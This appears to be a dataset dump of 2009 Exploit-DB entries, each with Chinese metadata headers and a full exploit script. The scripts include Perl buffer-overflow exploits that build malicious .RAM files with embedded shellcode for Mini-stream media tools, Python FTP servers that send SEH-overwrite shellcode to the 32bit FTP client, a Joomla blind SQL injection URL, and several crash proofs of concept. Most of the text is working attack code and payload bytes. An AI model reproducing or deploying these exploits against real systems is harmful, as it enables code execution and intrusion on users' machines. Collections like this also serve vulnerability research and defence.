QLWD/code_shield huggingface dataset:
标题: Mini-stream ASX to MP3 Converter 3.0.0.7 - '.RAM' Local Buffer Overflow EDB-ID: 8629 CVE: 2009-1642 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 Mini-stream ASX to MP3 Converter 3.0.0.7 (.RAM) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ Mini-stream ASX to MP3 Converter 3.0.0.7 ]....
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on "Windows XP SP2"... [:-)
 
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8629
标题: TCPDB 3.8 - Arbitrary Add Admin Account EDB-ID: 8626 CVE: 2009-1670 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-07 漏洞利用脚本: =======================================================
+++++++++++++++++++ information +++++++++++++++++++++++
=======================================================
[+] Script :TCPDB version 3.8 Add Admin Exploit

[+] Download : http://www.tcpdb.com/modules.php?name=Downloads&d_op=viewdownload&cid=2

[+] Found by : Mr.tro0oqy
   
[+] C0ntact : t.4@windowslive.com <Yemeni ana>
=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================
step 1 : go to 

http://localhost/path/user


step 2 : add admin


=======================================================
++++++++++++++++++++++ Demo +++++++++++++++++++++++++
=======================================================


http://www.tcpdb.com/demo/user

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================
ThE g0bL!N - spyboy - red virus - virus_hima

all my Friends

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8626
标题: Mini-stream Ripper 3.0.1.1 - '.RAM' Local Buffer Overflow EDB-ID: 8631 CVE: 2009-1641 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 Mini-stream Ripper 3.0.1.1 (.RAM) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ Mini-stream Ripper 3.0.1.1 ]..................
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on "Windows XP SP2"... [:-)
 
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8631
标题: Sorinara Streaming Audio Player 0.9 - '.pla' Local Stack Overflow (PoC) EDB-ID: 8625 CVE: 2009-1644 类型: DOS 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: # ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### ### # ## ## ## ###
# #  Sorinara Streaming Audio Player 0.9 (.PLA) Local Stack Overflow PoC   # #
# ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ## ### # ### ## ## ###
my $chars= "A" x 506;
my $file="GOLD-M.PLA";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file has been created \n";
print "Thanx Tryag.Com";

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8625
标题: RM Downloader 3.0.0.9 - '.RAM' Local Buffer Overflow EDB-ID: 8628 CVE: 2009-1646 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 RM Downloader 3.0.0.9 (.RAM) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ RM Downloader 3.0.0.9 ].......................
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on "Windows XP SP2"... [:-)
 
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8628
标题: 32bit FTP (09.04.24) - 'CWD Response' Universal Overwrite (SEH) EDB-ID: 8621 CVE: 2009-1611 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : 32bit FTP (09.04.24) (CWD Response) Universal Seh Overwrite Exploit
#[*] Refer : http://www.milw0rm.com/exploits/8611
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

# win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
shellcode=(
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x54"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x45\x54\x4e\x43\x4b\x48\x4e\x57"
"\x45\x30\x4a\x47\x41\x30\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x38"
"\x4f\x35\x42\x52\x41\x30\x4b\x4e\x49\x34\x4b\x58\x46\x33\x4b\x38"
"\x41\x50\x50\x4e\x41\x33\x42\x4c\x49\x59\x4e\x4a\x46\x38\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x55\x46\x52\x46\x30\x45\x57\x45\x4e\x4b\x58"
"\x4f\x45\x46\x52\x41\x50\x4b\x4e\x48\x56\x4b\x38\x4e\x30\x4b\x54"
"\x4b\x38\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x58"
"\x41\x30\x4b\x4e\x49\x58\x4e\x35\x46\x32\x46\x30\x43\x4c\x41\x53"
"\x42\x4c\x46\x46\x4b\x58\x42\x54\x42\x33\x45\x38\x42\x4c\x4a\x57"
"\x4e\x30\x4b\x48\x42\x44\x4e\x50\x4b\x58\x42\x47\x4e\x31\x4d\x4a"
"\x4b\x58\x4a\x56\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x50\x42\x30\x4b\x58\x4a\x36\x4e\x53\x4f\x45\x41\x53"
"\x48\x4f\x42\x56\x48\x45\x49\x58\x4a\x4f\x43\x48\x42\x4c\x4b\x47"
"\x42\x35\x4a\x36\x42\x4f\x4c\x38\x46\x30\x4f\x55\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x48\x50\x30\x47\x35\x4f\x4f\x47\x4e\x43\x36\x41\x56"
"\x4e\x46\x43\x46\x42\x50\x5a")

buffer =   '\x41'*4335
buffer +=  shellcode
buffer +=  '\xE9\xA4\xFE\xFF\xFF' # nro7o nro7o lel shellcode nro7o :p
buffer +=  '\x90'*49
buffer +=  '\x74\xC8\x90\x90' # to the end and its a new Beginning ;)
buffer +=  '\x30\x14\x45\x00' #universal pop-pop-ret 32bitftp.exe

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 chtawala chtakayen\r\n")
c.recv(1024)
c.send("331 pwd please\r\n")
c.recv(1024)
c.send("230 OK\r\n")
c.recv(1024)
c.send("250 CWD command successful.\r\n")
c.recv(1024)
c.send("257 "+buffer+" is current directory.")
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8621
标题: Mini-stream RM-MP3 Converter 3.0.0.7 - '.RAM' Local Buffer Overflow EDB-ID: 8633 CVE: 2009-1645 类型: LOCAL 平台: WINDOWS 发布日期: 2009-05-07 漏洞利用脚本: #!/usr/bin/perl
=gnk
==============================================================================
                      _      _       _          _      _   _ 
                     / \    | |     | |        / \    | | | |
                    / _ \   | |     | |       / _ \   | |_| |
                   / ___ \  | |___  | |___   / ___ \  |  _  |
   IN THE NAME OF /_/   \_\ |_____| |_____| /_/   \_\ |_| |_|
                                                             
==============================================================================
                      ____   _  _     _   _    ___    _  __
                     / ___| | || |   | \ | |  / _ \  | |/ /
                    | |  _  | || |_  |  \| | | | | | | ' / 
                    | |_| | |__   _| | |\  | | |_| | | . \ 
                     \____|    |_|   |_| \_|  \___/  |_|\_\...From Iran

==============================================================================
 Mini-stream RM-MP3 Converter 3.0.0.7 (.RAM) Local Buffer Overflow Exploit
==============================================================================
 [Â»] Script:.............[ Mini-stream RM-MP3 Converter 3.0.0.7 ]........
 [Â»] Website:............[ http://mini-stream.net/ ].....................
 [Â»] Today:..............[ 07052009 ]....................................
 [Â»] Exploited by:.......[ G4N0K | mail[.]ganok[sh!t]gmail.com ].........
==============================================================================

 [x] tested on "Windows XP SP2"... [:-)
 
=cut

my $MSD = "rtsp://"."G" x 26117;
my $SMN = "\x90" x 16;
my $RA = "\x5D\x38\x82\x7C"; # Kernel32.dll

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $Shcode = "\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x08".
             "\x99\x23\x82\x83\xeb\xfc\xe2\xf4\xf4\x71\x67\x82\x08\x99\xa8\xc7".
             "\x34\x12\x5f\x87\x70\x98\xcc\x09\x47\x81\xa8\xdd\x28\x98\xc8\xcb".
             "\x83\xad\xa8\x83\xe6\xa8\xe3\x1b\xa4\x1d\xe3\xf6\x0f\x58\xe9\x8f".
             "\x09\x5b\xc8\x76\x33\xcd\x07\x86\x7d\x7c\xa8\xdd\x2c\x98\xc8\xe4".
             "\x83\x95\x68\x09\x57\x85\x22\x69\x83\x85\xa8\x83\xe3\x10\x7f\xa6".
             "\x0c\x5a\x12\x42\x6c\x12\x63\xb2\x8d\x59\x5b\x8e\x83\xd9\x2f\x09".
             "\x78\x85\x8e\x09\x60\x91\xc8\x8b\x83\x19\x93\x82\x08\x99\xa8\xea".
             "\x34\xc6\x12\x74\x68\xcf\xaa\x7a\x8b\x59\x58\xd2\x60\x69\xa9\x86".
             "\x57\xf1\xbb\x7c\x82\x97\x74\x7d\xef\xfa\x42\xee\x6b\x99\x23\x82";

  open(RAM,'>>gnk.ram');
  print RAM $MSD.$RA.$SMN.$Shcode;
  close(RAM);

# milw0rm.com [2009-05-07] URL: https://www.exploit-db.com/exploits/8633
标题: Joomla! Component Almond Classifieds 5.6.2 - Blind SQL Injection EDB-ID: 8619 CVE: 2009-2567 类型: WEBAPPS 平台: PHP 发布日期: 2009-05-05 漏洞利用脚本: ||          ||   | ||        
                   o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                  ( :   /    (_)    /           (   .  
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact : cyb3r-1st [at] hotmail.com 
                   
<<!>> Groups : InjEctOr5 T3am 

=======================================================
+++++++++++++++++++ Script information+++++++++++++++++
=======================================================

<<->> script   :: joomla aclassf component

=======================================================
+++++++++++++++++++++++ Exploit +++++++++++++++++++++++
=======================================================


<<->> Exploit :: 
 
             >>> http://www.cyb3r.1st/ [path] /index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=6468+and+substring(@@version,1,1)=5

             >>> http://www.cyb3r.1st/ [path] /index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=6468+and+substring(@@version,1,1)=4

=======================================================
++++++++++++++++++++++ Greetz +++++++++++++++++++++++++
=======================================================

<<->> All freinds , all muslims , [ www.tryag.com ] , [ www.7rs.org ] , and all arabic sites


note:
<name>aclassf</name>
<creationDate>18.06.2008</creationDate>
<author>AlmondSoft.Com</author>
<copyright>Copyright AlmondSoft.Com All rights reserved!</copyright>
<authorEmail>info@almondsoft.com</authorEmail>
<authorUrl>www.almondsoft.com/alcl.html</authorUrl>
<version>5.6.2</version>
<description>Almond Classifieds script for Joomla !</description>

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8619
标题: Bmxplay 0.4.4b - '.bmx' Local Buffer Overflow (PoC) EDB-ID: 8607 CVE: 2009-4759 类型: DOS 平台: WINDOWS 发布日期: 2009-05-04 漏洞利用脚本: #####################################################################################################
#                    Bmxplay 0.4.4b (.BMX File) Local Buffer Overflow PoC
#                 Discovered by SirGod  -  www.mortal-team.net & www.h4cky0u.org
#               Downlaod : http://www.brothersoft.com/bmxplay-download-235557.html
######################################################################################################
my $chars= "A" x 1337;
my $file="sirgod.bmx";
open(my $FILE, ">>$file") or die "Cannot open $file: $!";
print $FILE $chars;
close($FILE);
print "$file was created";
print "SirGod - www.mortal-team.net & www.h4cky0u.org";

# milw0rm.com [2009-05-04] URL: https://www.exploit-db.com/exploits/8607
标题: 32bit FTP (09.04.24) - 'Banner' Remote Buffer Overflow (PoC) EDB-ID: 8611 CVE: 2009-1592 类型: DOS 平台: WINDOWS_X86 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/perl
#
# A client side vulnerability in the product allows remote servers to cause the  client to crash by sending it a large banner.
#  By: Load 99%
#
# website: http://www.electrasoft.com/32ftp.htm
# Version:09.04.24
#
#0:005> g
# ...
#(9b0.bac): Access violation - code c0000005 (first chance)
#First chance exceptions are reported before any exception handling.
#This exception may be expected and handled.
#eax=41414141 ebx=00000001 ecx=000013e7 edx=0382ec14 esi=fffffffe edi=00000000
#eip=41414141 esp=0382f018 ebp=0382f050 iopl=0         nv up ei pl nz na pe nc
#cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
#41414141 ??              ???
#
use IO::Socket::INET;

my $socket = IO::Socket::INET->new('LocalPort' => 21,
                   'Proto' => 'tcp',
                   'Listen' => SOMAXCONN)
    or die "Can't create socket ($!)\n";
   
print "Server listening\n";
$data = "220 ".("\x41" x 5060)."\r\n";

while (my $client = $socket->accept) {
    print "send> data.\n";
    print $client $data;
}
die "Can't accept socket ($!)\n";

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8611
标题: 32bit FTP (09.04.24) - 'CWD Response' Remote Buffer Overflow EDB-ID: 8613 CVE: 2009-1611 类型: REMOTE 平台: WINDOWS_X86 发布日期: 2009-05-05 漏洞利用脚本: #!/usr/bin/python
# _  _   _         __    _     _ _  
#| || | (_)  ___  /  \  | |__ | | | 
#| __ | | | (_-< | () | | / / |_  _|
#|_||_| |_| /__/  \__/  |_\_\   |_| 
#
#[*] Bug     : 32bit FTP (09.04.24) (CWD response) Remote Buffer Overflow Exploit
#[*] Refer : http://www.milw0rm.com/exploits/8611
#[*] Tested on :    Xp sp3 (EN)(VB)
#[*] Exploited by : His0k4
#[*] Greetings :    All friends & muslims HaCkErs (DZ),Algerians Elites,snakespc.com
#[*] Serra7 Merra7 koulchi mderra7 :p

from socket import *

payload = "\x41"*1020
payload += "\x67\x86\x86\x7C" # jmp esp kernel32.dll

 # win32_exec -  EXITFUNC=seh CMD=calc Size=343 Encoder=PexAlphaNum http://metasploit.com
payload += (
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49"
"\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36"
"\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34"
"\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41"
"\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44"
"\x42\x50\x42\x30\x42\x50\x4b\x38\x45\x54\x4e\x53\x4b\x38\x4e\x47"
"\x45\x30\x4a\x37\x41\x50\x4f\x4e\x4b\x58\x4f\x54\x4a\x31\x4b\x58"
"\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x54\x4b\x48\x46\x43\x4b\x38"
"\x41\x30\x50\x4e\x41\x33\x42\x4c\x49\x49\x4e\x4a\x46\x48\x42\x4c"
"\x46\x47\x47\x50\x41\x4c\x4c\x4c\x4d\x30\x41\x30\x44\x4c\x4b\x4e"
"\x46\x4f\x4b\x33\x46\x35\x46\x42\x46\x30\x45\x37\x45\x4e\x4b\x58"
"\x4f\x55\x46\x52\x41\x50\x4b\x4e\x48\x36\x4b\x48\x4e\x50\x4b\x54"
"\x4b\x38\x4f\x35\x4e\x31\x41\x30\x4b\x4e\x4b\x38\x4e\x31\x4b\x58"
"\x41\x50\x4b\x4e\x49\x38\x4e\x35\x46\x52\x46\x30\x43\x4c\x41\x43"
"\x42\x4c\x46\x46\x4b\x48\x42\x34\x42\x43\x45\x48\x42\x4c\x4a\x47"
"\x4e\x50\x4b\x48\x42\x34\x4e\x30\x4b\x48\x42\x47\x4e\x51\x4d\x4a"
"\x4b\x38\x4a\x46\x4a\x30\x4b\x4e\x49\x30\x4b\x58\x42\x38\x42\x4b"
"\x42\x30\x42\x30\x42\x30\x4b\x48\x4a\x36\x4e\x53\x4f\x55\x41\x43"
"\x48\x4f\x42\x46\x48\x55\x49\x58\x4a\x4f\x43\x58\x42\x4c\x4b\x37"
"\x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x59"
"\x50\x4f\x4c\x58\x50\x50\x47\x35\x4f\x4f\x47\x4e\x43\x56\x41\x56"
"\x4e\x56\x43\x36\x42\x30\x5a")

s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()

print "[+] Connection accepted from: %s" % (addr[0])

c.send("220 Hello\r\n")
c.recv(1024)
c.send("331 pwd please\r\n")
c.recv(1024)
c.send("230 OK\r\n")
c.recv(1024)
c.send("250 CWD command successful.\r\n")
c.recv(1024)
c.send("257 "+payload+" is current directory.")
c.close()
raw_input("[+] Done, press enter to quit")
s.close()

# milw0rm.com [2009-05-05] URL: https://www.exploit-db.com/exploits/8613